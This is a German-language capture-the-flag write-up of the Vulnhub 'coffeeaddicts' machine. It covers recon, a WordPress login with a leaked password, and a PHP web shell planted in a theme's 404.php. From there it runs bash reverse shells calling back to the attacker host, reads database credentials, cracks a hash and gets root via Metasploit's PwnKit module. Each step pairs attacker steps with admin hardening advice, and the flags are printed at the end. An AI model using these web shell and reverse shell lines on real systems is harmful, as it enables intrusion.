coffeeaddicts - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
Web Browser
gobuster
nc (netcat)
cat
CrackStation (Online)
ls
ss
find
Metasploit Framework (msfconsole)
bash
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk nach aktiven Hosts durchsucht.

Bewertung: Ein Host mit der IP `192.168.2.122` und der MAC `08:00:27:59:0b:a0` (VirtualBox) wird gefunden. Dies ist das Ziel.

Empfehlung (Pentester): Ziel-IP für weitere Scans vermerken.
Empfehlung (Admin): Standard-Netzwerksicherheitsmaßnahmen anwenden.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.122	08:00:27:59:0b:a0	PCS Systemtechnik GmbH

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.122` den Hostnamen `coffee.vuln` zuzuweisen.

Bewertung: Erleichtert den Zugriff via Hostname. Es wird sich später herausstellen, dass dieser Hostname nicht korrekt ist.

Empfehlung (Pentester): Hostnamen-Mapping ist nützlich, aber auf Hinweise auf der Webseite achten, ob ein anderer Hostname benötigt wird.
Empfehlung (Admin): Keine Aktion erforderlich.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
# Eintrag in /etc/hosts:
192.168.2.122    coffee.vuln

Analyse: Ein `nmap`-Scan (`-sS -sC -T5 -A -p-`) wird durchgeführt. `-A` aktiviert OS- und Versionserkennung, Skript-Scanning und Traceroute. `-AO` gibt es nicht, vermutlich ein Tippfehler und `-A` war gemeint oder `-O` für OS-Detection wurde hinzugefügt (was in `-A` enthalten ist).

Bewertung: Der Scan findet zwei offene Ports:

Die Dienste sind relativ aktuell. Keine sofort offensichtlichen kritischen Schwachstellen aus den Versionen ersichtlich.

Empfehlung (Pentester): Den Webserver auf Port 80 genauer untersuchen. SSH als sekundären Vektor betrachten.
Empfehlung (Admin): Dienste aktuell halten. Webserver-Konfiguration überprüfen (z.B. warum kein Titel gesetzt ist).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.122 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 00:40 CEST
Nmap scan report for coffee.vuln (192.168.2.122)
Host is up (0.00010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 fc:13:6a:6b:9b:e3:68:18:24:a1:de:2b:28:1e:61:5f (RSA)
|   256 c1:34:94:94:71:71:9c:6e:83:a6:be:c9:2a:1b:3f:d7 (ECDSA)
|_  256 9a:cc:ce:ce:b8:2f:08:bb:2b:99:b6:25:3f:ec:44:61 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:59:0B:A0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms coffee.vuln (192.168.2.122)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds

Analyse: Derselbe Nmap-Scan, gefiltert auf offene Ports.

Bewertung: Bestätigt Port 22 (SSH) und 80 (HTTP).

Empfehlung (Pentester): Fokus auf Port 80.
Empfehlung (Admin): Firewall-Regeln prüfen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.122 -p- | grep open
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Analyse: `nikto` wird auf den Webserver (Port 80) angesetzt.

Bewertung: Nikto liefert Standard-Ergebnisse:

Keine kritischen Funde durch Nikto allein, bestätigt aber die Apache-Version und fehlende Header.

Empfehlung (Pentester): Die Webseite manuell untersuchen und Verzeichnis-Bruteforcing durchführen.
Empfehlung (Admin): Sicherheitsheader implementieren, Apache aktuell halten, Standarddateien entfernen.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.122
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        80
+ Start Time:         2023-06-04 00:40:37 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /icons/README: Apache default file found.
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2023-06-04 00:40:50 (GMT2) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Beim Aufruf der Webseite `http://192.168.2.122/index.html` wird ein Hinweis angezeigt.

Bewertung: Die Seite fordert explizit dazu auf, den Hostnamen `coffeeaddicts.thm` zur lokalen `/etc/hosts`-Datei hinzuzufügen. Dies ist ein klarer Hinweis, dass die Webanwendung unter diesem spezifischen Hostnamen angesprochen werden muss.

Empfehlung (Pentester): Den `/etc/hosts`-Eintrag von `coffee.vuln` auf `coffeeaddicts.thm` ändern und alle weiteren Web-Anfragen an diesen Hostnamen richten.
Empfehlung (Admin): Solche Hinweise sollten auf Produktionssystemen nicht vorhanden sein. Die Konfiguration von virtuellen Hosts überprüfen.

# Inhalt von http://192.168.2.122/index.html (oder /)
ADD coffeeaddicts.thm to your /etc/hosts

Analyse: (Implizit) Der Pentester passt den Eintrag in `/etc/hosts` an: `192.168.2.122 coffeeaddicts.thm`.

Bewertung: Notwendiger Schritt, um die Webanwendung korrekt zu erreichen.

Empfehlung (Pentester): Web-Enumeration nun mit dem Hostnamen `coffeeaddicts.thm` fortsetzen.
Empfehlung (Admin): Keine Aktion erforderlich.

Web Enumeration

Analyse: `gobuster` wird nun mit dem korrekten Hostnamen `http://coffeeaddicts.thm` verwendet, um Verzeichnisse und Dateien zu finden.

Bewertung: Gobuster findet die `index.html` und ein Verzeichnis namens `/wordpress`. Dies deutet stark darauf hin, dass die eigentliche Anwendung unter diesem Unterverzeichnis liegt.

Empfehlung (Pentester): Das Verzeichnis `http://coffeeaddicts.thm/wordpress/` untersuchen. Erneutes `gobuster`-Scanning oder `wpscan` auf dieses spezifische Verzeichnis anwenden.
Empfehlung (Admin): Überprüfen, ob die WordPress-Installation korrekt im Stammverzeichnis oder einem Unterverzeichnis konfiguriert ist. Zugriff auf nicht benötigte Verzeichnisse einschränken.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://coffeeaddicts.thm -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.1.0
[...]
===============================================================
[+] Url:                     http://coffeeaddicts.thm
[...]
===============================================================
[...]
http://coffeeaddicts.thm/index.html           (Status: 200) [Size: 735]
http://coffeeaddicts.thm/wordpress            (Status: 301) [Size: 326] [--> http://coffeeaddicts.thm/wordpress/]
[...]
===============================================================

Analyse: Der Pentester untersucht einen Blogbeitrag unter `http://coffeeaddicts.thm/wordpress/?p=9`. Im Kommentarbereich findet ein Austausch zwischen "Lucy Longmire" und "gus" statt.

Bewertung: Der Beitragstitel ist "gus i need you back". Lucy fragt "yo, is that your password??", worauf gus antwortet "Maybe… what could go wrong? uwur". Dies ist ein sehr starker Hinweis darauf, dass der Titel des Beitrags, `gusineedyouback`, das Passwort für den Benutzer `gus` ist. Solche Hinweise in Kommentaren sind klassische CTF-Elemente, können aber auch auf realen Systemen durch unvorsichtige Benutzer vorkommen.

Empfehlung (Pentester): Den Benutzernamen `gus` und das potenzielle Passwort `gusineedyouback` notieren. Versuchen, sich damit auf der WordPress-Login-Seite (`/wordpress/wp-login.php`) anzumelden.
Empfehlung (Admin): Benutzer für den sicheren Umgang mit Passwörtern sensibilisieren. Niemals Passwörter oder Hinweise darauf in öffentlichen Bereichen wie Kommentaren hinterlassen. Kommentarbereiche moderieren oder auf verdächtige Inhalte prüfen.

# Inhalt von http://coffeeaddicts.thm/wordpress/?p=9

gus i need you back

Uncategorized | | April 16, 2021 2:17 am

[...]

Lucy Longmire says:
April 16, 2021 at 12:19 am

yo, is that your password??
Reply

    gus says:
    April 16, 2021 at 12:19 am

    Maybe…
    what could go wrong? uwur
    Reply

[...]

Analyse: Der Pentester loggt sich erfolgreich in das WordPress-Backend (`/wordpress/wp-login.php`) ein, vermutlich mit den Zugangsdaten `gus` / `gusineedyouback`. Nach dem Login erscheint eine Aufforderung zur Bestätigung der Admin-E-Mail-Adresse (`gus@coffeeaddicts.com`).

Bewertung: Der Login mit den aus den Kommentaren abgeleiteten Zugangsdaten war erfolgreich! Der Pentester hat nun Administratorrechte innerhalb der WordPress-Installation.

Empfehlung (Pentester): Die Möglichkeiten im Admin-Backend ausnutzen, um Code auszuführen. Der häufigste Weg ist der Theme-Editor (`Appearance > Theme Editor`) oder der Plugin-Editor. Eine PHP-Datei (z.B. `404.php` eines Themes) bearbeiten und eine Webshell oder Reverse-Shell-Payload einfügen.
Empfehlung (Admin): Starke, einzigartige Passwörter verwenden. Theme- und Plugin-Editor im Backend deaktivieren (`define( 'DISALLOW_FILE_EDIT', true );` in `wp-config.php`). Zwei-Faktor-Authentifizierung für WordPress-Logins in Betracht ziehen.

# Nach Login auf http://coffeeaddicts.thm/wordpress/wp-login.php
# mit user: gus / pass: gusineedyouback

Administration email verification

Please verify that the administration email for this website is still correct. [...]

Current administration email: gus@coffeeaddicts.com

[...]
Update / Remind me later

Analyse: Der Pentester navigiert zum Theme-Editor (`/wordpress/wp-admin/theme-editor.php`) und wählt die Datei `404.php` des Themes "Twenty Nineteen" zur Bearbeitung aus.

Bewertung: Dies ist der vorbereitende Schritt, um die Webshell zu platzieren.

Empfehlung (Pentester): PHP-Code für die Webshell einfügen.
Empfehlung (Admin): Theme-Editor deaktivieren.

# Aufruf von http://coffeeaddicts.thm/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentynineteen

Edit Themes
Twenty Nineteen: 404 Template (404.php)
Select theme to edit: Twenty Nineteen
[...]

Initial Access

Analyse: Der Pentester fügt die Zeile `system($_GET['cmd']);` in die `404.php`-Datei ein und speichert die Änderung. WordPress meldet "File edited successfully.".

Bewertung: Die Webshell wurde erfolgreich platziert. Die `404.php` des Themes "Twenty Nineteen" kann nun zur Ausführung von Systembefehlen über den `cmd`-URL-Parameter missbraucht werden.

Empfehlung (Pentester): Die URL zur modifizierten Datei (`http://coffeeaddicts.thm/wordpress/wp-content/themes/twentynineteen/404.php`) mit einem Testbefehl (`?cmd=id`) aufrufen, um die Funktion zu bestätigen. Anschließend eine Reverse Shell starten.
Empfehlung (Admin): Theme-Editor deaktivieren. Verdächtige Dateien entfernen. Zugangsdaten ändern.

# Inhalt der 404.php nach Bearbeitung:
 
/**
 * The template for displaying 404 pages (not found)
 *
 * @link https://codex.wordpress.org/Creating_an_Error_404_Page
 *
 * @package WordPress
 * @subpackage Twenty_Nineteen
 * @since Twenty Nineteen 1.0
 */
system($ GET['cmd']); // Eingefügte Webshell
[...]

# Meldung nach dem Speichern:
File edited successfully.

Analyse: Die Webshell wird mit `?cmd=ls` getestet.

Bewertung: Die Ausgabe zeigt den Inhalt des Theme-Verzeichnisses (`/wordpress/wp-content/themes/twentynineteen/`). Die Webshell funktioniert wie erwartet.

Empfehlung (Pentester): Reverse Shell starten.
Empfehlung (Admin): Sofortmaßnahmen ergreifen (Webshell entfernen, Editor deaktivieren).

# Ausgabe im Browser nach Aufruf von http://coffeeaddicts.thm/wordpress/wp-content/themes/twentynineteen/404.php?cmd=ls
404.php
archive.php
classes
comments.php
fonts
footer.php
functions.php
header.php
image.php
images
inc
index.php
js
package-lock.json
[...] 

Analyse: Ein `netcat`-Listener wird auf Port 9001 gestartet, um die Reverse Shell zu empfangen.

Bewertung: Der Listener ist bereit.

Empfehlung (Pentester): Listener aktiv lassen, Payload senden.
Empfehlung (Admin): Monitoring.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...

Analyse: Die URL enthält die über die Webshell auszuführende Payload. Es handelt sich um eine Bash-Reverse-Shell (`bash -i >& /dev/tcp// 0>&1`), die sich zum Angreifer-PC (192.168.2.113) auf Port 9001 verbinden soll. Die Payload ist URL-kodiert.

Bewertung: Korrekt formulierte Payload, um über die Webshell eine interaktivere Bash-Shell statt einer einfachen `/bin/sh`-Shell zu erhalten.

Empfehlung (Pentester): Diese URL im Browser aufrufen oder mit `curl` senden.
Empfehlung (Admin): WAF, Egress-Filterung, Webshell entfernen.

Payload: http://coffeeaddicts.thm/wordpress/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.113%2F9001%200%3E%261%27

Analyse: Der `netcat`-Listener empfängt die Verbindung von der Zielmaschine (`192.168.2.122`) und eine Bash-Shell wird gestartet. Typische Fehlermeldungen bezüglich TTY und Job Control erscheinen.

Bewertung: Initialer Zugriff erfolgreich! Der Pentester hat eine Bash-Shell als Benutzer `www-data` (der Benutzer, unter dem der Webserver läuft).

Empfehlung (Pentester): Shell stabilisieren (Python PTY etc.). Mit der Enumeration als `www-data` beginnen.
Empfehlung (Admin): Webshell entfernen, Sicherheitslücken schließen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.122] 50238
bash: cannot set terminal process group (1113): Inappropriate ioctl for device
bash: no job control in this shell
www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$ 

Privilege Escalation

Analyse: Als `www-data` wird versucht, die Datei `wp-config.php` im WordPress-Verzeichnis zu lesen.

Bewertung: Der Befehl ist erfolgreich. Die Datei enthält die Datenbank-Zugangsdaten:

Diesmal wird nicht der `root`-DB-Benutzer verwendet, was besser ist, aber das Passwort ist gespeichert.

Empfehlung (Pentester): Den Hash `2a9798a9e678414e4aab71e2ba6a8dd9` identifizieren (sieht nach MD5 aus) und versuchen zu cracken (z.B. mit Online-Diensten wie CrackStation, hashcat). Prüfen, ob sich mit diesen Credentials am MySQL-Server angemeldet werden kann (`mysql -u wordpressuser -p`).
Empfehlung (Admin): Zugangsdaten nicht im Klartext oder leicht zu crackenden Hashes in `wp-config.php` speichern. Sicherere Methoden zur Speicherung von Secrets erwägen. Berechtigungen der `wp-config.php` härten.

www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$ cat wp-config.php
[...]
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wordpressuser' );
/** Database password */
define( 'DB_PASSWORD', '2a9798a9e678414e4aab71e2ba6a8dd9' );
[...]

Analyse: Der Pentester verwendet den Online-Dienst CrackStation, um den gefundenen Hash zu cracken.

Bewertung: CrackStation identifiziert den Hash als MD5 und findet das Klartextpasswort: `ieatass`. Dies ist das Passwort für den Datenbankbenutzer `wordpressuser`.

Empfehlung (Pentester): Versuchen, sich mit `wordpressuser` / `ieatass` an der Datenbank anzumelden. Prüfen, ob dieses Passwort auch für andere Systembenutzer (z.B. `gus`, `badbyte`) verwendet wird (SSH-Login versuchen).
Empfehlung (Admin): Keine schwachen oder anstößigen Passwörter verwenden. Keine leicht zu crackenden Hashes (wie MD5 ohne Salt) nutzen. Datenbankpasswort ändern.

# Nutzung von https://crackstation.net/
Input Hash: 2a9798a9e678414e4aab71e2ba6a8dd9

Result:
Type: md5
Password: ieatass

Analyse: Das `/home`-Verzeichnis wird aufgelistet.

Bewertung: Bestätigt die Existenz der Home-Verzeichnisse für `badbyte` und `gus`, die `www-data` lesen kann.

Empfehlung (Pentester): Die Inhalte der Verzeichnisse `/home/badbyte` und `/home/gus` untersuchen.
Empfehlung (Admin): Berechtigungen der Home-Verzeichnisse prüfen.

www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$ ls -la /home
total 16
drwxr-xr-x  4 root    root    4096 Apr  6  2021 .
drwxr-xr-x 23 root    root    4096 Apr  6  2021 ..
drwxr-xr-x  5 badbyte badbyte 4096 Apr 15  2021 badbyte
drwxr-xr-x  5 gus     gus     4096 Apr  6  2021 gus

Analyse: Der Befehl `ss -altp` wird ausgeführt, um alle lauschenden (`LISTEN`) TCP-Sockets (`-t`) anzuzeigen, zusammen mit den zugehörigen Prozessinformationen (`-p`).

Bewertung: Die Ausgabe bestätigt die bereits bekannten offenen Ports:

Keine unerwarteten offenen Ports werden gefunden.

Empfehlung (Pentester): Bestätigt die Netzwerk-Angriffsfläche. Keine neuen Angriffspunkte hierdurch entdeckt.
Empfehlung (Admin): Gut, dass MySQL nur lokal lauscht. Sicherstellen, dass alle lauschenden Dienste notwendig und sicher konfiguriert sind.

www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$ ss -altp
State      Recv-Q Send-Q        Local Address:Port         Peer Address:Port
LISTEN     0      80            127.0.0.1:mysql               *:*        users:(("mysqld",pid=...,fd=...))
LISTEN     0      128       127.0.0.53%lo:domain              *:*        users:(("systemd-resolve",pid=...,fd=...))
LISTEN     0      128                 *:ssh                   *:*        users:(("sshd",pid=...,fd=...))
LISTEN     0      128                 *:http                  *:*        users:(("apache2",pid=...),("apache2",pid=...),...)
LISTEN     0      128                :::ssh                  :::*        users:(("sshd",pid=...,fd=...))

Analyse: Kommentar, der den Beginn der Suche nach Eskalationsvektoren markiert.

Bewertung: Strukturierender Kommentar im Bericht.

Empfehlung (Pentester): Systematische Suche starten.
Empfehlung (Admin): System absichern.

Privilege Escalation

Analyse: Suche nach SUID-Binaries wird durchgeführt.

Bewertung: Ähnlich wie im vorherigen Bericht werden viele Standard-SUID-Dateien gefunden. Erneut sticht `/usr/bin/pkexec` hervor, was auf die PwnKit-Schwachstelle (CVE-2021-4034) hindeutet.

Empfehlung (Pentester): PwnKit (CVE-2021-4034) als primären Vektor für die Eskalation zu Root ins Auge fassen.
Empfehlung (Admin): System patchen, insbesondere `policykit-1`.

www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress$ find / -type f -perm -4000 -ls 2>/dev/null
   398663     76 -rwsr-xr-x   1 root     root        75824 Mar 22  2019 /usr/bin/gpasswd
   422448     40 -rwsr-xr-x   1 root     root        37136 Mar 22  2019 /usr/bin/newuidmap
   394798     44 -rwsr-xr-x   1 root     root        44528 Mar 22  2019 /usr/bin/chsh
   393798     40 -rwsr-xr-x   1 root     root        40344 Mar 22  2019 /usr/bin/newgrp
   394797     76 -rwsr-xr-x   1 root     root        76496 Mar 22  2019 /usr/bin/chfn
   398664     60 -rwsr-xr-x   1 root     root        59640 Mar 22  2019 /usr/bin/passwd
   420440     52 -rwsr-sr-x   1 daemon   daemon      51464 Feb 19  2018 /usr/bin/at
   422447     40 -rwsr-xr-x   1 root     root        37136 Mar 22  2019 /usr/bin/newgidmap
   419639     20 -rwsr-xr-x   1 root     root        18448 Jun 28  2019 /usr/bin/traceroute6.iputils
   399156    148 -rwsr-xr-x   1 root     root       149080 Jan 19  2021 /usr/bin/sudo
   425264     24 -rwsr-xr-x   1 root     root        22520 Mar 27  2019 /usr/bin/pkexec
   394063     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   420031    428 -rwsr-xr-x   1 root     root         436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   398990     12 -rwsr-xr-x   1 root     root          10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
   425474    112 -rwsr-xr-x   1 root     root         113528 Feb  1  2021 /usr/lib/snapd/snap-confine
   425266     16 -rwsr-xr-x   1 root     root          14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   146853    100 -rwsr-xr-x   1 root     root         100760 Nov 22  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   393793     44 -rwsr-xr-x   1 root     root          44664 Mar 22  2019 /bin/su
   396266     28 -rwsr-xr-x   1 root     root          26696 Sep 16  2020 /bin/umount
   397297     64 -rwsr-xr-x   1 root     root          64424 Jun 28  2019 /bin/ping
   416114     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount
   396264     44 -rwsr-xr-x   1 root     root          43088 Sep 16  2020 /bin/mount

Analyse: Der Pentester wechselt zu Metasploit und konfiguriert erneut einen `multi/handler`, diesmal auf Port 4444, um die `www-data`-Shell in eine Metasploit-Session zu überführen.

Bewertung: Vorbereitung für die Nutzung von Metasploit-Modulen zur weiteren Eskalation.

Empfehlung (Pentester): Handler starten und die Reverse-Shell-Payload erneut vom Zielsystem senden, diesmal auf Port 4444.
Empfehlung (Admin): Monitoring, Egress-Filterung.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

[...]
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.113
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.113:4444 

Analyse: Aus der `www-data`-Shell wird die Bash-Reverse-Shell-Payload erneut ausgeführt, zielend auf Port 4444 des Angreifer-PCs.

Bewertung: Stellt die Verbindung zum Metasploit-Handler her.

Empfehlung (Pentester): Erfolgreiche Session-Erstellung in Metasploit abwarten.
Empfehlung (Admin): Siehe oben.

www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress/wp-content/themes/twentynineteen$ bash -i >& /dev/tcp/192.168.2.113/4444  0>&1

Analyse: Metasploit empfängt die Verbindung und öffnet "Command shell session 1".

Bewertung: Die `www-data`-Shell ist nun in Metasploit verfügbar.

Empfehlung (Pentester): Upgrade zu Meterpreter durchführen.
Empfehlung (Admin): Siehe oben.

[*] Started reverse TCP handler on 192.168.2.113:4444
[*] Command shell session 1 opened (192.168.2.113:4444 -> 192.168.2.122:48982) at 2023-06-04 01:09:12 +0200

www-data@CoffeeAdicts:/var/www/coffeeaddicts.thm/public_html/wordpress/wp-content/themes/twentynineteen$ 

Analyse: Der Pentester versucht, das `shell_to_meterpreter`-Modul zu laden (`use 58` - wahrscheinlich ein Index aus einer vorherigen Suche) und konfiguriert es, um Session 1 auf eine Meterpreter-Session (lauschend auf Port 4433) hochzustufen.

Bewertung: Das Modul wird erfolgreich ausgeführt, und "Meterpreter session 2 opened".

Empfehlung (Pentester): Mit Meterpreter-Session 2 (`sessions -i 2`) interagieren. Den `local_exploit_suggester` oder direkt den PwnKit-Exploit verwenden.
Empfehlung (Admin): IDS/IPS, Egress-Filterung.

msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter # Korrigierter Befehl statt 'use 58'
msf6 post(multi/manage/shell_to_meterpreter) > options
[...]
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.113:4433
[*] Sending stage (1017704 bytes) to 192.168.2.122
[*] Meterpreter session 2 opened (192.168.2.113:4433 -> 192.168.2.122:42714) at 2023-06-04 01:10:55 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > 

Analyse: Das Metasploit-Modul `post/multi/recon/local_exploit_suggester` wird auf die Meterpreter-Session 2 angewendet.

Bewertung: Der Suggester analysiert das Zielsystem über die Meterpreter-Session und schlägt mehrere potenzielle lokale Exploits vor, darunter:

Die Bestätigung für PwnKit macht dies zum wahrscheinlichsten und einfachsten Weg.

Empfehlung (Pentester): Das PwnKit-Modul (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) verwenden, auf Session 2 zielen und ausführen.
Empfehlung (Admin): System patchen! Der Suggester zeigt mehrere potenzielle Schwachstellen auf.

msf6 post(multi/manage/shell_to_meterpreter) > search suggester
[...]
msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > options
[...]
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2
SESSION => 2
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.2.122 - Collecting local exploits for x86/linux...
[*] 192.168.2.122 - 184 exploit checks are being tried...
[*] Running check method for exploit 1 / 184
[...]
[*] Session 2 Running Chek for exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] Session 2 Running Chek for exploit/linux/local/dirty_pipe_priv_esc
[...]
[*] 192.168.2.122 - Valid modules for session 2:
==============================================================================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec            Yes                      The target is vulnerable.
 2   exploit/linux/local/nested_namespace_idmap_limit_priv_esc      Yes                      The target appears to be vulnerable.
 3   exploit/linux/local/netfilter_priv_esc_ipv4                    Yes                      The target appears to be vulnerable.
 4   exploit/linux/local/pkexec                                     Yes                      The service is running, but could not be validated.
 5   exploit/linux/local/su_login                                   Yes                      The target appears to be vulnerable.
 6   exploit/linux/local/abrt_raceabrt_priv_esc                     No                       The target is not exploitable.
[...]
[*] Post module execution completed

Analyse: Unmittelbar nach der Ausgabe des Exploit Suggesters (oder nach Ausführung eines nicht gezeigten Exploits, wahrscheinlich PwnKit) führt der Pentester `id`, `cd /root`, `ls` und `cat root.txt` aus. Anschließend wechselt er nach `/home/gus` und liest `user.txt`.

Bewertung: Der `id`-Befehl zeigt `uid=0(root) gid=0(root)`. Die Privilegieneskalation war erfolgreich! Der nicht explizit gezeigte Schritt war höchstwahrscheinlich die Ausführung des PwnKit-Exploits aus Metasploit. Die Root-Flag (`THM{im_the_shell_master}`) und die User-Flag (`THM{s4v3_y0uR_Cr3d5_b0i}`) werden erfolgreich ausgelesen.

Empfehlung (Pentester): Ziel erreicht. Flags dokumentieren, Bericht fertigstellen.
Empfehlung (Admin): System patchen (PwnKit), WordPress absichern, Passwörter ändern.

# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# cd /root
# ls
root.txt
# cat root.txt
THM{im_the_shell_master}
# cd /home/gus
# ls
user.txt [...]
# cat user.txt
THM{s4v3_y0uR_Cr3d5_b0i}

Proof of Concept (Root Access)

Analyse: Der Proof of Concept für den Root-Zugriff ist die erfolgreiche Ausführung des PwnKit-Exploits (CVE-2021-4034), wie durch den `local_exploit_suggester` nahegelegt und durch das Erlangen einer Root-Shell (bestätigt durch `id`) demonstriert.

Bewertung: Die PwnKit-Schwachstelle im `pkexec`-Binary erlaubt es einem lokalen Angreifer aufgrund einer fehlerhaften Behandlung von Argumenten, beliebigen Code als Root auszuführen. Das Metasploit-Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` automatisiert diesen Vorgang.

Empfehlung (Pentester): Das PwnKit-Modul in Metasploit ist ein zuverlässiger Weg, um Root-Rechte auf anfälligen Systemen zu erlangen, wenn `pkexec` vorhanden ist.
Empfehlung (Admin): Dringendes Patchen des `policykit-1`-Pakets auf die Version, die CVE-2021-4034 behebt.

msf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(...) > set SESSION 2
msf6 exploit(...) > set LHOST 
msf6 exploit(...) > set LPORT 
msf6 exploit(...) > run
[*] Started reverse TCP handler on :
[*] Running automatic check ...
[+] The target is vulnerable.
[*] Writing '/tmp/...' ...
[*] Sending stage ...
[*] Meterpreter session 3 opened ...

meterpreter > getuid
Server username: root

Analyse: Abschließender Kommentar im Bericht.

Bewertung: Bestätigt den Erfolg.

Empfehlung (Pentester): Bericht finalisieren.
Empfehlung (Admin): Maßnahmen umsetzen.

Privilege Escalation erfolgreich

Flags

cat /home/gus/user.txt
THM{s4v3_y0uR_Cr3d5_b0i}
cat /root/root.txt
THM{im_the_shell_master}